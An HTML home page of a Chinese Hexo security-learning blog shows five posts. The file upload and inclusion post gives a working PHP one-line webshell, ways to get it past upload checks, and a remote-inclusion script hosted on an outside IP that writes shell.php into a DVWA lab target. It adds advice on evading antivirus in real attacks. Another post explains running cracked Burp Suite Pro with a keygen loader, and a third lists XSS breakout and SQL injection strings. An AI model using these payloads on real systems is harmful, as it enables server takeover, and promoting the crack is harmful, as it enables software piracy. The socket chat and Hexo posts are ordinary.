<!DOCTYPE html>



  


<html class="theme-next muse use-motion" lang="en">
<head><meta name="generator" content="Hexo 3.9.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">









<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/blog/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/blog/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/blog/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/blog/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/blog/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/blog/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/blog/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="Hexo, NexT">










<meta property="og:type" content="website">
<meta property="og:title" content="天灾级大魔王">
<meta property="og:url" content="https://gitee.com/yashengha/blog.git/index.html">
<meta property="og:site_name" content="天灾级大魔王">
<meta property="og:locale" content="en">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="天灾级大魔王">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/blog/',
    scheme: 'Muse',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: 'Author'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="https://gitee.com/yashengha/blog.git/">





  <title>天灾级大魔王</title>
  








</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="en">

  
  
    
  

  <div class="container sidebar-position-left 
  page-home">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/blog/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">天灾级大魔王</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/blog/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            Home
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/blog/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            Archives
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            
  <section id="posts" class="posts-expand">
    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://gitee.com/yashengha/blog.git/blog/2019/11/04/文件上传与文件包含初学笔记/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="天灾级大魔王">
      <meta itemprop="description" content>
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="天灾级大魔王">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2019/11/04/文件上传与文件包含初学笔记/" itemprop="url">文件上传与文件包含初学笔记</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-11-04T15:12:05+08:00">
                2019-11-04
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h2 id="文件上传漏洞"><a href="#文件上传漏洞" class="headerlink" title="文件上传漏洞"></a>文件上传漏洞</h2><p>由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP/ASP/JSP文件，并能够将这些文件传递给PHP/ASP/JSP解释器，就可以在远程服务器上执行任意脚本。<br>该漏洞利用方法，先上传一句话木马：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> <span class="keyword">eval</span>($_POST[zzz])<span class="meta">?&gt;</span>    <span class="comment">//eval()函数允许括号内的字符串作为php代码执行，“zzz”为连接密码（或者理解为参数），此一句话木马常用到一旦出现就会被各种杀毒软件查杀，因此在真正的攻击中建议替换成其他的php函数。</span></span><br></pre></td></tr></table></figure>

<p>然后通过中国菜刀或者蚁剑连接该木马，菜刀连接时使用的是一句话木马文件存储地址，否则可能会弹出http弹窗。<br>文件上传漏洞个人感觉关键在于如何上传一句话木马，以及如何是该木马执行。<br>上传如何绕过网站的安全检测：</p>
<ol>
<li>如果安全等级比较低，通过burp抓包，修改数据包中文件类型，绕过检测</li>
<li>如果安全等级比较高，使用图片木马，将一句话木马与图片结合在一起，绕过检测<br>防御文件上传方法比较简单，允许上传，但此目录下所有文件不给执行权限即可。</li>
</ol>
<h2 id="文件包含漏洞"><a href="#文件包含漏洞" class="headerlink" title="文件包含漏洞"></a>文件包含漏洞</h2><p>在通过服务器脚本的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，导致意外的文件泄露甚至恶意的代码注入。<br>常见的可能存在文件包含漏洞的链接：<br><code>?page=文件名</code><br>文件包含利用有两种方法，一种是本地包含，另一种是远程包含。</p>
<p>本地包含利用方法和文件上传类似，上传一句话木马，然后菜刀连接。</p>
<p>远程包含，在文件包含时使用的是远程文件，前提该网站允许调用了其他网站的图片，文件等（在该网站php配置中打开了下面两个参数）</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">; Whether to allow the treatment of URLs (like http:// or ftp://) as files.</span><br><span class="line">; http://php.net/allow-url-fopen</span><br><span class="line">allow_url_fopen = On</span><br><span class="line"></span><br><span class="line">; Whether to allow include/require to open URLs (like http:// or ftp://) as files.</span><br><span class="line">; http://php.net/allow-url-include</span><br><span class="line">allow_url_include = On</span><br><span class="line">``` </span><br><span class="line">在我们本地构造一个txt文件，内容为</span><br><span class="line"></span><br><span class="line">``` </span><br><span class="line">&lt;?php</span><br><span class="line">    $f = fopen(&apos;shell.php&apos;,&apos;w&apos;);</span><br><span class="line">    $txt = &apos;&lt;?php eval($_POST[zzz])?&gt;&apos;;</span><br><span class="line">    fwrite($f,$txt);</span><br><span class="line">    fclose($f);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>

<p>此文件为php脚本，代码意义，创建一个名为“shell.php”的文件，在其中写入<code>&lt;?php eval($_POST[zzz])?&gt;</code>一句话木马。<br>攻击利用链接如下</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.213.129/DVWA/DVWA/vulnerabilities/fi/?page=http://192.168.2.33/1234.txt</span><br><span class="line">/////      “http://192.168.213.129/DVWA/DVWA/vulnerabilities/fi/?page=”为我们发现的文件包含漏洞点，后面“http://192.168.2.33/1234.txt”为我们构造的攻击脚本地址</span><br></pre></td></tr></table></figure>

<p>然后菜刀连接马儿的地址即可。</p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://gitee.com/yashengha/blog.git/blog/2019/10/29/burp-suite破解详细教程补充/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="天灾级大魔王">
      <meta itemprop="description" content>
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="天灾级大魔王">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2019/10/29/burp-suite破解详细教程补充/" itemprop="url">burp suite破解需要注意的几点</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-10-29T15:37:41+08:00">
                2019-10-29
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>在开始破解前，要先在burp文件夹下运行命令</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -Xbootclasspath/p:burp-loader-keygen.jar -jar burpsuite_pro_v2.0beta.jar</span><br></pre></td></tr></table></figure>

<p>然后打开“burpsuite_pro_v2.0beta.jar”程序包，再打开“burp-loader-keygen.jar”破解包<br>然后按照教程破解。<br>破解成功之后，要打开burp使用的话，只需要在此文件夹下执行命令</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -Xbootclasspath/p:burp-loader-keygen.jar -jar burpsuite_pro_v2.0beta.jar</span><br></pre></td></tr></table></figure>

<p>就会打开burp，否则可能需要再次破解。<br>参考教程和程序包</p>
<p><a href="https://www.cnblogs.com/tynam/p/10089111.html" target="_blank" rel="noopener">Tynam.Yang大佬的burp破解教程</a><br>本文是对大佬教程的补充说明，更多教程和程序可参考大佬博客园首页（也是怕自己后面使用时忘记）<br><a href="https://www.cnblogs.com/tynam/" target="_blank" rel="noopener">Tynam Yang</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://gitee.com/yashengha/blog.git/blog/2019/10/23/xss初步学习/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="天灾级大魔王">
      <meta itemprop="description" content>
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="天灾级大魔王">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2019/10/23/xss初步学习/" itemprop="url">xss初步学习</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-10-23T10:18:37+08:00">
                2019-10-23
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的目的。  </p>
<h3 id="基础学习"><a href="#基础学习" class="headerlink" title="基础学习"></a>基础学习</h3><p>xss需要一定的js语法基础，js学习可以到<a href="https://www.w3school.com.cn/js/index.asp" target="_blank" rel="noopener">w3school</a>学习</p>
<h3 id="常用闭合（基础闭合）与示例"><a href="#常用闭合（基础闭合）与示例" class="headerlink" title="常用闭合（基础闭合）与示例"></a>常用闭合（基础闭合）与示例</h3><p>xss中最重要的就是与原有的前一部分js代码闭合，然后注释掉后面的js代码，在中间插入js脚本代码</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">&quot;);&lt;/script&gt;&lt;script&gt;window.alert(1)&lt;/script&gt;//</span><br><span class="line"></span><br><span class="line">示例：</span><br><span class="line">替换：“-&gt;/&quot;</span><br><span class="line">function escape(s) &#123;</span><br><span class="line">  s = s.replace(/&quot;/g, &apos;\\&quot;&apos;);</span><br><span class="line">  return &apos;&lt;script&gt;console.log(&quot;&apos; + s + &apos;&quot;);&lt;/script&gt;&apos;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">闭合：</span><br><span class="line">&quot;);&lt;/script&gt;&lt;script&gt;window.alert(1)&lt;/script&gt;//</span><br><span class="line">输出：</span><br><span class="line">OutputWin!</span><br><span class="line">&lt;script&gt;console.log(&quot;\&quot;);&lt;/script&gt;&lt;script&gt;window.alert(1)&lt;/script&gt;//&quot;);&lt;/script&gt;</span><br><span class="line"></span><br><span class="line">这题escape将输入的引号&quot;转换为了\\&quot;，使得引号变成了字面量，上一题的方法无效了。不过如果输入为\&quot;，那么就会转换为\\\&quot;，这个时候，本来是转义引号的，但变成了转义反斜杆了，从而引号可以逃脱转义了</span><br></pre></td></tr></table></figure>

<p><a href="https://alf.nu/alert1" target="_blank" rel="noopener">xss练习平台</a></p>
<p>常用的sql注入语句：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">1&apos; or 1=1 --+</span><br><span class="line">1&quot; or 1=1 --</span><br></pre></td></tr></table></figure>


          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://gitee.com/yashengha/blog.git/blog/2019/10/11/python局域网通信小程序/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="天灾级大魔王">
      <meta itemprop="description" content>
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="天灾级大魔王">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2019/10/11/python局域网通信小程序/" itemprop="url">python局域网通信小程序</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-10-11T11:30:36+08:00">
                2019-10-11
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h2 id="python局域网通信小程序"><a href="#python局域网通信小程序" class="headerlink" title="python局域网通信小程序"></a>python局域网通信小程序</h2><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>套接字（socket）是一个抽象层，应用程序可以通过它发送或接收数据，可对其进行像对文件一样的打开、读写和关闭等操作。套接字允许应用程序将I/O插入到网络中，并与网络中的其他应用程序进行通信。网络套接字是IP地址与端口的组合。  </p>
<blockquote>
<p>我们分成两部分，一部分作为服务器端，一部分为客户端<br>服务器端代码如下：</p>
</blockquote>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># 文件名：server.py</span><br><span class="line"></span><br><span class="line"># 导入 socket、sys 模块</span><br><span class="line">import socket</span><br><span class="line">import sys</span><br><span class="line"></span><br><span class="line">servicesocket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建套接字对象</span><br><span class="line">servicesocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)</span><br><span class="line">host=socket.gethostname()  #获得主机名，这里因为都是在本地，所以直接用的本地主机名</span><br><span class="line">port=9999  #设置端口号</span><br><span class="line">servicesocket.bind((host,port))  #绑定主机和端口号</span><br><span class="line">servicesocket.listen(5)  #设置链接数</span><br><span class="line">ClientSock,addr=servicesocket.accept()  #设置接收对象，获得连接对象ip</span><br><span class="line">while True:</span><br><span class="line">    buf = ClientSock.recv(1024)   #接受数据，设置最大接受长度1024</span><br><span class="line">    if len(buf):</span><br><span class="line">        print (&quot;客户端说:&quot; + str(buf,&apos;utf-8&apos;)) </span><br><span class="line">    data = input(&quot;服务端说:&quot;)</span><br><span class="line">    ClientSock.sendall(data.encode(&apos;utf-8&apos;))   #发送数据</span><br></pre></td></tr></table></figure>

<p>  这里面需要注意的是“buf = ClientSock.recv(1024)”接收到的数据为二进制流数据，并不能直接打印出来，我们需要做格式转换，用到了str()方法，如果我们是这样直接使用“str(buf)”你会发现在输出时会有额外的东西出现比如“b’”，这是因为我们采用的是utf-8格式，直接进行字符串与字节的转换难免会出问题，尤其是中文字符，所以我们在转换时指定了采用utf-8格式。<br>.send()方法在发送数据时，使用的是流，所以我们也要把字符串类型转换为字节指定采用”utf-8”<br>客户端代码</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"># 文件名：client.py</span><br><span class="line"></span><br><span class="line"># 导入 socket、sys 模块</span><br><span class="line">import socket</span><br><span class="line">import sys</span><br><span class="line">import time</span><br><span class="line"># 创建 socket 对象</span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) </span><br><span class="line"></span><br><span class="line"># 获取本地主机名</span><br><span class="line">host = socket.gethostname() </span><br><span class="line"></span><br><span class="line"># 设置端口号</span><br><span class="line">port = 9999</span><br><span class="line"></span><br><span class="line"># 连接服务，指定主机和端口</span><br><span class="line">s.connect((host, port))</span><br><span class="line"></span><br><span class="line"># 接收小于 1024 字节的数据</span><br><span class="line">x=1</span><br><span class="line">while x==1:</span><br><span class="line">    data = input(&quot;客户端说:&quot;)</span><br><span class="line">    s.send(data.encode(&apos;utf-8&apos;))</span><br><span class="line">    buf = s.recv(1024)</span><br><span class="line">    if len(buf):</span><br><span class="line">        print (&quot;服务端说:&quot; + str(buf,&quot;utf-8&quot;))</span><br></pre></td></tr></table></figure>

<p>程序效果如下：<br><img src="/images/111.jpg" alt><br>  此程序参考了MTbaby大佬的文章，并在编码上做了修改。后续我们要完善这个聊天小程序，可以在其中加入时间等，时间可以使用python3的“time”库。<br>##谢谢观看<br>  MTbaby大佬原文链接<a href="https://www.jb51.net/article/136352.htm" target="_blank" rel="noopener">python实现聊天小程序</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://gitee.com/yashengha/blog.git/blog/2019/10/11/hello-world/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="天灾级大魔王">
      <meta itemprop="description" content>
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="天灾级大魔王">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2019/10/11/hello-world/" itemprop="url">Hello World</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-10-11T11:23:56+08:00">
                2019-10-11
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>Welcome to <a href="https://hexo.io/" target="_blank" rel="noopener">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/" target="_blank" rel="noopener">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html" target="_blank" rel="noopener">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues" target="_blank" rel="noopener">GitHub</a>.</p>
<h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new <span class="string">"My New Post"</span></span><br></pre></td></tr></table></figure>

<p>More info: <a href="https://hexo.io/docs/writing.html" target="_blank" rel="noopener">Writing</a></p>
<h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure>

<p>More info: <a href="https://hexo.io/docs/server.html" target="_blank" rel="noopener">Server</a></p>
<h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure>

<p>More info: <a href="https://hexo.io/docs/generating.html" target="_blank" rel="noopener">Generating</a></p>
<h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure>

<p>More info: <a href="https://hexo.io/docs/deployment.html" target="_blank" rel="noopener">Deployment</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
  </section>

  


          </div>
          


          

        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      

      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">天灾级大魔王</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/blog/archives/">
              
                  <span class="site-state-item-count">5</span>
                  <span class="site-state-item-name">posts</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                
                  <span class="site-state-item-count">3</span>
                  <span class="site-state-item-name">tags</span>
                
              </div>
            

          </nav>

          

          

          
          

          
          

          

        </div>
      </section>

      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">天灾级大魔王</span>

  
</div>


  <div class="powered-by">Powered by <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a></div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Muse</a> v5.1.4</div>




        







        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  



  
  



  
  



  
  





  
  
    <script type="text/javascript" src="/blog/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/canvas-nest/canvas-nest.min.js"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/three/three.min.js"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/three/three-waves.min.js"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/three/canvas_lines.min.js"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/three/canvas_sphere.min.js"></script>
  


  


  <script type="text/javascript" src="/blog/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/blog/js/src/motion.js?v=5.1.4"></script>



  
  

  

  


  <script type="text/javascript" src="/blog/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  





  

  

  

  
  

  

  

  

</body>
</html>
